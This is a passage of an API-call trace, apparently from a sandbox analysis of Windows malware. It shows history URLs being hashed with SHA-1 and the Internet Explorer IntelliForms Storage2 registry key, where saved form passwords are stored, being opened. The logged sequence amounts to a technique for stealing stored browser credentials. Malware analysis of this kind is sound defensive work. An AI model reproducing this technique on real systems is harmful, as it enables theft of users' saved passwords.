(in: lpString1="27010EEF8F911F0F9B", lpString2="5C" | out: lpString1="27010EEF8F911F0F9B5C") returned="27010EEF8F911F0F9B5C" [0097.416] LocalFree (hMem=0x432e380) returned 0x0 [0097.416] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0F") returned 2 [0097.416] lstrlenW (lpString="27010EEF8F911F0F9B5C") returned 20 [0097.417] lstrlenW (lpString="0F") returned 2 [0097.417] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.417] lstrcpyW (in: lpString1=0x72912f0, lpString2="27010EEF8F911F0F9B5C" | out: lpString1="27010EEF8F911F0F9B5C") returned="27010EEF8F911F0F9B5C" [0097.417] lstrcatW (in: lpString1="27010EEF8F911F0F9B5C", lpString2="0F" | out: lpString1="27010EEF8F911F0F9B5C0F") returned="27010EEF8F911F0F9B5C0F" [0097.417] LocalFree (hMem=0x7290b70) returned 0x0 [0097.417] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7D") returned 2 [0097.417] lstrlenW (lpString="27010EEF8F911F0F9B5C0F") returned 22 [0097.417] lstrlenW (lpString="7D") returned 2 [0097.417] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.417] lstrcpyW (in: lpString1=0x7290b70, lpString2="27010EEF8F911F0F9B5C0F" | out: lpString1="27010EEF8F911F0F9B5C0F") returned="27010EEF8F911F0F9B5C0F" [0097.417] lstrcatW (in: lpString1="27010EEF8F911F0F9B5C0F", lpString2="7D" | out: lpString1="27010EEF8F911F0F9B5C0F7D") returned="27010EEF8F911F0F9B5C0F7D" [0097.417] LocalFree (hMem=0x72912f0) returned 0x0 [0097.417] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4C") returned 2 [0097.417] lstrlenW (lpString="27010EEF8F911F0F9B5C0F7D") returned 24 [0097.417] lstrlenW (lpString="4C") returned 2 [0097.417] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.417] lstrcpyW (in: lpString1=0x72912f0, lpString2="27010EEF8F911F0F9B5C0F7D" | out: lpString1="27010EEF8F911F0F9B5C0F7D") returned="27010EEF8F911F0F9B5C0F7D" [0097.417] lstrcatW (in: lpString1="27010EEF8F911F0F9B5C0F7D", lpString2="4C" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C") returned="27010EEF8F911F0F9B5C0F7D4C" [0097.417] LocalFree (hMem=0x7290b70) returned 0x0 [0097.417] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="26") returned 2 [0097.417] lstrlenW (lpString="27010EEF8F911F0F9B5C0F7D4C") returned 26 [0097.417] lstrlenW (lpString="26") returned 2 [0097.417] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.417] lstrcpyW (in: lpString1=0x2815670, lpString2="27010EEF8F911F0F9B5C0F7D4C" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C") returned="27010EEF8F911F0F9B5C0F7D4C" [0097.417] lstrcatW (in: lpString1="27010EEF8F911F0F9B5C0F7D4C", lpString2="26" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C26") returned="27010EEF8F911F0F9B5C0F7D4C26" [0097.417] LocalFree (hMem=0x72912f0) returned 0x0 [0097.417] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EC") returned 2 [0097.417] lstrlenW (lpString="27010EEF8F911F0F9B5C0F7D4C26") returned 28 [0097.417] lstrlenW (lpString="EC") returned 2 [0097.417] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815740 [0097.417] lstrcpyW (in: lpString1=0x2815740, lpString2="27010EEF8F911F0F9B5C0F7D4C26" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C26") returned="27010EEF8F911F0F9B5C0F7D4C26" [0097.417] lstrcatW (in: lpString1="27010EEF8F911F0F9B5C0F7D4C26", lpString2="EC" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC") returned="27010EEF8F911F0F9B5C0F7D4C26EC" [0097.417] LocalFree (hMem=0x2815670) returned 0x0 [0097.417] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="78") returned 2 [0097.417] lstrlenW (lpString="27010EEF8F911F0F9B5C0F7D4C26EC") returned 30 [0097.417] lstrlenW (lpString="78") returned 2 [0097.417] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.418] lstrcpyW (in: lpString1=0x2815670, lpString2="27010EEF8F911F0F9B5C0F7D4C26EC" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC") returned="27010EEF8F911F0F9B5C0F7D4C26EC" [0097.418] lstrcatW (in: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC", lpString2="78" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC78") returned="27010EEF8F911F0F9B5C0F7D4C26EC78" [0097.418] LocalFree (hMem=0x2815740) returned 0x0 [0097.418] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="51") returned 2 [0097.418] lstrlenW (lpString="27010EEF8F911F0F9B5C0F7D4C26EC78") returned 32 [0097.418] lstrlenW (lpString="51") returned 2 [0097.418] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815740 [0097.418] lstrcpyW (in: lpString1=0x2815740, lpString2="27010EEF8F911F0F9B5C0F7D4C26EC78" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC78") returned="27010EEF8F911F0F9B5C0F7D4C26EC78" [0097.418] lstrcatW (in: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC78", lpString2="51" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC7851") returned="27010EEF8F911F0F9B5C0F7D4C26EC7851" [0097.418] LocalFree (hMem=0x2815670) returned 0x0 [0097.418] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E7") returned 2 [0097.418] lstrlenW (lpString="27010EEF8F911F0F9B5C0F7D4C26EC7851") returned 34 [0097.418] lstrlenW (lpString="E7") returned 2 [0097.418] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.418] lstrcpyW (in: lpString1=0x28e7910, lpString2="27010EEF8F911F0F9B5C0F7D4C26EC7851" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC7851") returned="27010EEF8F911F0F9B5C0F7D4C26EC7851" [0097.418] lstrcatW (in: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC7851", lpString2="E7" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC7851E7") returned="27010EEF8F911F0F9B5C0F7D4C26EC7851E7" [0097.418] LocalFree (hMem=0x2815740) returned 0x0 [0097.418] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="42") returned 2 [0097.418] lstrlenW (lpString="27010EEF8F911F0F9B5C0F7D4C26EC7851E7") returned 36 [0097.418] lstrlenW (lpString="42") returned 2 [0097.418] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.418] lstrcpyW (in: lpString1=0x28e7670, lpString2="27010EEF8F911F0F9B5C0F7D4C26EC7851E7" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC7851E7") returned="27010EEF8F911F0F9B5C0F7D4C26EC7851E7" [0097.418] lstrcatW (in: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC7851E7", lpString2="42" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC7851E742") returned="27010EEF8F911F0F9B5C0F7D4C26EC7851E742" [0097.418] LocalFree (hMem=0x28e7910) returned 0x0 [0097.418] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F8") returned 2 [0097.418] lstrlenW (lpString="27010EEF8F911F0F9B5C0F7D4C26EC7851E742") returned 38 [0097.418] lstrlenW (lpString="F8") returned 2 [0097.418] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.418] lstrcpyW (in: lpString1=0x28e7910, lpString2="27010EEF8F911F0F9B5C0F7D4C26EC7851E742" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC7851E742") returned="27010EEF8F911F0F9B5C0F7D4C26EC7851E742" [0097.418] lstrcatW (in: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC7851E742", lpString2="F8" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC7851E742F8") returned="27010EEF8F911F0F9B5C0F7D4C26EC7851E742F8" [0097.418] LocalFree (hMem=0x28e7670) returned 0x0 [0097.418] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3E") returned 2 [0097.418] lstrlenW (lpString="27010EEF8F911F0F9B5C0F7D4C26EC7851E742F8") returned 40 [0097.418] lstrlenW (lpString="3E") returned 2 [0097.418] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.418] lstrcpyW (in: lpString1=0x28e7670, lpString2="27010EEF8F911F0F9B5C0F7D4C26EC7851E742F8" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC7851E742F8") returned="27010EEF8F911F0F9B5C0F7D4C26EC7851E742F8" [0097.418] lstrcatW (in: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC7851E742F8", lpString2="3E" | out: lpString1="27010EEF8F911F0F9B5C0F7D4C26EC7851E742F83E") returned="27010EEF8F911F0F9B5C0F7D4C26EC7851E742F83E" [0097.418] LocalFree (hMem=0x28e7910) returned 0x0 [0097.419] CryptDestroyHash (hHash=0x72033e0) returned 1 [0097.419] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.419] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.419] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.419] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.419] LocalFree (hMem=0x28e7670) returned 0x0 [0097.419] CoTaskMemFree (pv=0x71e6c20) [0097.419] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.419] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/q1P5U.bmp", lpSrch="?") returned 0x0 [0097.419] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.420] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.420] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/q1P5U.bmp") returned 49 [0097.420] CryptHashData (hHash=0x4451a00, pbData=0x4451990, dwDataLen=0x64, dwFlags=0x0) returned 1 [0097.420] CryptGetHashParam (in: hHash=0x4451a00, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.420] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="42") returned 2 [0097.420] lstrlenW (lpString="") returned 0 [0097.420] lstrlenW (lpString="42") returned 2 [0097.420] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x71870b0 [0097.420] lstrcpyW (in: lpString1=0x71870b0, lpString2="" | out: lpString1="") returned="" [0097.420] lstrcatW (in: lpString1="", lpString2="42" | out: lpString1="42") returned="42" [0097.420] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AA") returned 2 [0097.420] lstrlenW (lpString="42") returned 2 [0097.420] lstrlenW (lpString="AA") returned 2 [0097.420] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c9f20 [0097.420] lstrcpyW (in: lpString1=0x28c9f20, lpString2="42" | out: lpString1="42") returned="42" [0097.420] lstrcatW (in: lpString1="42", lpString2="AA" | out: lpString1="42AA") returned="42AA" [0097.420] LocalFree (hMem=0x71870b0) returned 0x0 [0097.420] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E4") returned 2 [0097.420] lstrlenW (lpString="42AA") returned 4 [0097.420] lstrlenW (lpString="E4") returned 2 [0097.420] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8760 [0097.420] lstrcpyW (in: lpString1=0x28c8760, lpString2="42AA" | out: lpString1="42AA") returned="42AA" [0097.420] lstrcatW (in: lpString1="42AA", lpString2="E4" | out: lpString1="42AAE4") returned="42AAE4" [0097.420] LocalFree (hMem=0x28c9f20) returned 0x0 [0097.420] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0C") returned 2 [0097.420] lstrlenW (lpString="42AAE4") returned 6 [0097.420] lstrlenW (lpString="0C") returned 2 [0097.420] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c9f20 [0097.420] lstrcpyW (in: lpString1=0x28c9f20, lpString2="42AAE4" | out: lpString1="42AAE4") returned="42AAE4" [0097.420] lstrcatW (in: lpString1="42AAE4", lpString2="0C" | out: lpString1="42AAE40C") returned="42AAE40C" [0097.420] LocalFree (hMem=0x28c8760) returned 0x0 [0097.420] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6C") returned 2 [0097.420] lstrlenW (lpString="42AAE40C") returned 8 [0097.420] lstrlenW (lpString="6C") returned 2 [0097.420] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8760 [0097.420] lstrcpyW (in: lpString1=0x28c8760, lpString2="42AAE40C" | out: lpString1="42AAE40C") returned="42AAE40C" [0097.420] lstrcatW (in: lpString1="42AAE40C", lpString2="6C" | out: lpString1="42AAE40C6C") returned="42AAE40C6C" [0097.420] LocalFree (hMem=0x28c9f20) returned 0x0 [0097.421] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BD") returned 2 [0097.421] lstrlenW (lpString="42AAE40C6C") returned 10 [0097.421] lstrlenW (lpString="BD") returned 2 [0097.421] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x432e380 [0097.421] lstrcpyW (in: lpString1=0x432e380, lpString2="42AAE40C6C" | out: lpString1="42AAE40C6C") returned="42AAE40C6C" [0097.421] lstrcatW (in: lpString1="42AAE40C6C", lpString2="BD" | out: lpString1="42AAE40C6CBD") returned="42AAE40C6CBD" [0097.421] LocalFree (hMem=0x28c8760) returned 0x0 [0097.421] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DB") returned 2 [0097.421] lstrlenW (lpString="42AAE40C6CBD") returned 12 [0097.421] lstrlenW (lpString="DB") returned 2 [0097.421] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x432ec70 [0097.421] lstrcpyW (in: lpString1=0x432ec70, lpString2="42AAE40C6CBD" | out: lpString1="42AAE40C6CBD") returned="42AAE40C6CBD" [0097.421] lstrcatW (in: lpString1="42AAE40C6CBD", lpString2="DB" | out: lpString1="42AAE40C6CBDDB") returned="42AAE40C6CBDDB" [0097.421] LocalFree (hMem=0x432e380) returned 0x0 [0097.421] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1D") returned 2 [0097.421] lstrlenW (lpString="42AAE40C6CBDDB") returned 14 [0097.421] lstrlenW (lpString="1D") returned 2 [0097.421] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x432e380 [0097.421] lstrcpyW (in: lpString1=0x432e380, lpString2="42AAE40C6CBDDB" | out: lpString1="42AAE40C6CBDDB") returned="42AAE40C6CBDDB" [0097.421] lstrcatW (in: lpString1="42AAE40C6CBDDB", lpString2="1D" | out: lpString1="42AAE40C6CBDDB1D") returned="42AAE40C6CBDDB1D" [0097.421] LocalFree (hMem=0x432ec70) returned 0x0 [0097.421] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B6") returned 2 [0097.421] lstrlenW (lpString="42AAE40C6CBDDB1D") returned 16 [0097.421] lstrlenW (lpString="B6") returned 2 [0097.421] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x432ec70 [0097.421] lstrcpyW (in: lpString1=0x432ec70, lpString2="42AAE40C6CBDDB1D" | out: lpString1="42AAE40C6CBDDB1D") returned="42AAE40C6CBDDB1D" [0097.421] lstrcatW (in: lpString1="42AAE40C6CBDDB1D", lpString2="B6" | out: lpString1="42AAE40C6CBDDB1DB6") returned="42AAE40C6CBDDB1DB6" [0097.421] LocalFree (hMem=0x432e380) returned 0x0 [0097.421] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="17") returned 2 [0097.421] lstrlenW (lpString="42AAE40C6CBDDB1DB6") returned 18 [0097.421] lstrlenW (lpString="17") returned 2 [0097.421] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.421] lstrcpyW (in: lpString1=0x72912f0, lpString2="42AAE40C6CBDDB1DB6" | out: lpString1="42AAE40C6CBDDB1DB6") returned="42AAE40C6CBDDB1DB6" [0097.421] lstrcatW (in: lpString1="42AAE40C6CBDDB1DB6", lpString2="17" | out: lpString1="42AAE40C6CBDDB1DB617") returned="42AAE40C6CBDDB1DB617" [0097.421] LocalFree (hMem=0x432ec70) returned 0x0 [0097.421] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A9") returned 2 [0097.422] lstrlenW (lpString="42AAE40C6CBDDB1DB617") returned 20 [0097.422] lstrlenW (lpString="A9") returned 2 [0097.422] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.422] lstrcpyW (in: lpString1=0x7290b70, lpString2="42AAE40C6CBDDB1DB617" | out: lpString1="42AAE40C6CBDDB1DB617") returned="42AAE40C6CBDDB1DB617" [0097.422] lstrcatW (in: lpString1="42AAE40C6CBDDB1DB617", lpString2="A9" | out: lpString1="42AAE40C6CBDDB1DB617A9") returned="42AAE40C6CBDDB1DB617A9" [0097.422] LocalFree (hMem=0x72912f0) returned 0x0 [0097.422] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7B") returned 2 [0097.422] lstrlenW (lpString="42AAE40C6CBDDB1DB617A9") returned 22 [0097.422] lstrlenW (lpString="7B") returned 2 [0097.422] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.422] lstrcpyW (in: lpString1=0x72912f0, lpString2="42AAE40C6CBDDB1DB617A9" | out: lpString1="42AAE40C6CBDDB1DB617A9") returned="42AAE40C6CBDDB1DB617A9" [0097.422] lstrcatW (in: lpString1="42AAE40C6CBDDB1DB617A9", lpString2="7B" | out: lpString1="42AAE40C6CBDDB1DB617A97B") returned="42AAE40C6CBDDB1DB617A97B" [0097.422] LocalFree (hMem=0x7290b70) returned 0x0 [0097.422] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BA") returned 2 [0097.422] lstrlenW (lpString="42AAE40C6CBDDB1DB617A97B") returned 24 [0097.422] lstrlenW (lpString="BA") returned 2 [0097.422] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.422] lstrcpyW (in: lpString1=0x7290b70, lpString2="42AAE40C6CBDDB1DB617A97B" | out: lpString1="42AAE40C6CBDDB1DB617A97B") returned="42AAE40C6CBDDB1DB617A97B" [0097.422] lstrcatW (in: lpString1="42AAE40C6CBDDB1DB617A97B", lpString2="BA" | out: lpString1="42AAE40C6CBDDB1DB617A97BBA") returned="42AAE40C6CBDDB1DB617A97BBA" [0097.422] LocalFree (hMem=0x72912f0) returned 0x0 [0097.422] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EA") returned 2 [0097.422] lstrlenW (lpString="42AAE40C6CBDDB1DB617A97BBA") returned 26 [0097.422] lstrlenW (lpString="EA") returned 2 [0097.422] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815740 [0097.422] lstrcpyW (in: lpString1=0x2815740, lpString2="42AAE40C6CBDDB1DB617A97BBA" | out: lpString1="42AAE40C6CBDDB1DB617A97BBA") returned="42AAE40C6CBDDB1DB617A97BBA" [0097.422] lstrcatW (in: lpString1="42AAE40C6CBDDB1DB617A97BBA", lpString2="EA" | out: lpString1="42AAE40C6CBDDB1DB617A97BBAEA") returned="42AAE40C6CBDDB1DB617A97BBAEA" [0097.422] LocalFree (hMem=0x7290b70) returned 0x0 [0097.422] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="28") returned 2 [0097.422] lstrlenW (lpString="42AAE40C6CBDDB1DB617A97BBAEA") returned 28 [0097.422] lstrlenW (lpString="28") returned 2 [0097.422] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.422] lstrcpyW (in: lpString1=0x2815670, lpString2="42AAE40C6CBDDB1DB617A97BBAEA" | out: lpString1="42AAE40C6CBDDB1DB617A97BBAEA") returned="42AAE40C6CBDDB1DB617A97BBAEA" [0097.422] lstrcatW (in: lpString1="42AAE40C6CBDDB1DB617A97BBAEA", lpString2="28" | out: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28") returned="42AAE40C6CBDDB1DB617A97BBAEA28" [0097.422] LocalFree (hMem=0x2815740) returned 0x0 [0097.422] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CA") returned 2 [0097.422] lstrlenW (lpString="42AAE40C6CBDDB1DB617A97BBAEA28") returned 30 [0097.422] lstrlenW (lpString="CA") returned 2 [0097.423] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815740 [0097.423] lstrcpyW (in: lpString1=0x2815740, lpString2="42AAE40C6CBDDB1DB617A97BBAEA28" | out: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28") returned="42AAE40C6CBDDB1DB617A97BBAEA28" [0097.423] lstrcatW (in: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28", lpString2="CA" | out: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28CA") returned="42AAE40C6CBDDB1DB617A97BBAEA28CA" [0097.423] LocalFree (hMem=0x2815670) returned 0x0 [0097.423] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FE") returned 2 [0097.423] lstrlenW (lpString="42AAE40C6CBDDB1DB617A97BBAEA28CA") returned 32 [0097.423] lstrlenW (lpString="FE") returned 2 [0097.423] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.423] lstrcpyW (in: lpString1=0x2815670, lpString2="42AAE40C6CBDDB1DB617A97BBAEA28CA" | out: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28CA") returned="42AAE40C6CBDDB1DB617A97BBAEA28CA" [0097.423] lstrcatW (in: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28CA", lpString2="FE" | out: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28CAFE") returned="42AAE40C6CBDDB1DB617A97BBAEA28CAFE" [0097.423] LocalFree (hMem=0x2815740) returned 0x0 [0097.423] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CD") returned 2 [0097.423] lstrlenW (lpString="42AAE40C6CBDDB1DB617A97BBAEA28CAFE") returned 34 [0097.423] lstrlenW (lpString="CD") returned 2 [0097.423] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.423] lstrcpyW (in: lpString1=0x28e7670, lpString2="42AAE40C6CBDDB1DB617A97BBAEA28CAFE" | out: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28CAFE") returned="42AAE40C6CBDDB1DB617A97BBAEA28CAFE" [0097.423] lstrcatW (in: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28CAFE", lpString2="CD" | out: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28CAFECD") returned="42AAE40C6CBDDB1DB617A97BBAEA28CAFECD" [0097.423] LocalFree (hMem=0x2815670) returned 0x0 [0097.423] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DB") returned 2 [0097.423] lstrlenW (lpString="42AAE40C6CBDDB1DB617A97BBAEA28CAFECD") returned 36 [0097.423] lstrlenW (lpString="DB") returned 2 [0097.423] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.423] lstrcpyW (in: lpString1=0x28e7910, lpString2="42AAE40C6CBDDB1DB617A97BBAEA28CAFECD" | out: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28CAFECD") returned="42AAE40C6CBDDB1DB617A97BBAEA28CAFECD" [0097.423] lstrcatW (in: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28CAFECD", lpString2="DB" | out: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28CAFECDDB") returned="42AAE40C6CBDDB1DB617A97BBAEA28CAFECDDB" [0097.423] LocalFree (hMem=0x28e7670) returned 0x0 [0097.423] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="48") returned 2 [0097.423] lstrlenW (lpString="42AAE40C6CBDDB1DB617A97BBAEA28CAFECDDB") returned 38 [0097.423] lstrlenW (lpString="48") returned 2 [0097.423] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.423] lstrcpyW (in: lpString1=0x28e7670, lpString2="42AAE40C6CBDDB1DB617A97BBAEA28CAFECDDB" | out: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28CAFECDDB") returned="42AAE40C6CBDDB1DB617A97BBAEA28CAFECDDB" [0097.423] lstrcatW (in: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28CAFECDDB", lpString2="48" | out: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28CAFECDDB48") returned="42AAE40C6CBDDB1DB617A97BBAEA28CAFECDDB48" [0097.424] LocalFree (hMem=0x28e7910) returned 0x0 [0097.424] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="72") returned 2 [0097.424] lstrlenW (lpString="42AAE40C6CBDDB1DB617A97BBAEA28CAFECDDB48") returned 40 [0097.424] lstrlenW (lpString="72") returned 2 [0097.424] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.424] lstrcpyW (in: lpString1=0x28e7910, lpString2="42AAE40C6CBDDB1DB617A97BBAEA28CAFECDDB48" | out: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28CAFECDDB48") returned="42AAE40C6CBDDB1DB617A97BBAEA28CAFECDDB48" [0097.424] lstrcatW (in: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28CAFECDDB48", lpString2="72" | out: lpString1="42AAE40C6CBDDB1DB617A97BBAEA28CAFECDDB4872") returned="42AAE40C6CBDDB1DB617A97BBAEA28CAFECDDB4872" [0097.424] LocalFree (hMem=0x28e7670) returned 0x0 [0097.424] CryptDestroyHash (hHash=0x4451a00) returned 1 [0097.424] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.424] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.424] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet 